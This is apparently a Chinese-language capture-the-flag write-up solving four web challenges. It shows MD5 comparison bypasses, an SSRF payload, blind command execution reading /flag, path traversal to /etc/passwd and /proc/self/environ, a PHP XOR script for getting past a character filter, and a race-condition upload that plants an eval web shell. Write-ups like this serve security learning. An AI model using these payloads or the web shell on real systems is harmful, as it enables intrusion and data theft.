ezezssrf
第一关:md5弱比较
yunxi%5B%5D=1&wlgf%5B%5D=2
第二关: md5强比较
需要在bp中传参,在hackbar里不行
yunxii=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DC
V%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%
93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
wlgff=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV
%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%9
3%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
第三关:ssrf
GLG=http://blog.csdn.net@127.0.0.1
第四关:无回显命令执行
运用tee命令或者>写入文件
cmd=cat /flag | tee 1.txt
完整payload:
yunxi%5B%5D=1&wlgf%5B%5D=2&yunxii=M%C9h%FF%0E%E3%5C%20%95r%D4w%7B
r%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00
%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&wlgff=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt
小小py
点击图片能够下载,用bp抓包
发现图片的下载路径
尝试利用这个路径查看文件,发现不能直接回显
尝试用目录穿越查看一下/etc/passwd发现成功回显
接着查看当前进程运行的环境变量/proc/self/environ,发现flag
学习高数
用dirsearch等工具扫描没发现注入点
根据提示
访问发现是原页面,用bp抓包进行页面爆破
发现一个不同的页面
访问cvFXZohgjf.php
限制了payload长度并且禁用一堆符号
原payload:
?c=$pi=_GET;$pi=$$pi;$pi[0]($pi[1])&0=system&1=cat /flag
这里我们可以利用异或得到更多的字符构造
用脚本利用白名单里的函数生成可用字符
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "\n";
}
}
}
将得到的结果放入记事本搜索需要构造的字符
$pi=_GET->$pi=(is_nan^(6).(4)).(tan^(1).(5))
$$pi->$_GET
由于[]被禁用所以可以用{}
完整payload:
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
payload得到flag(这里的flag环境有问题)
你能跟上我的speed吗
随便上传文件后发现都只是一张图片
根据题目的speed可以猜测一下可能是条件竞争
上传文件写入一句话木马:
<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[cmd]);?>');fclose($op);echo(333) ?>
抓包上传文件的请求并发送到intruder
抓包访问上传文件的路径
两处的payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)
两边同时爆破,在文件上传路径页面爆到显示333页面停止
发送到repeater,更改1.php为shell.php,访问成功
用蚁剑连接
找到flag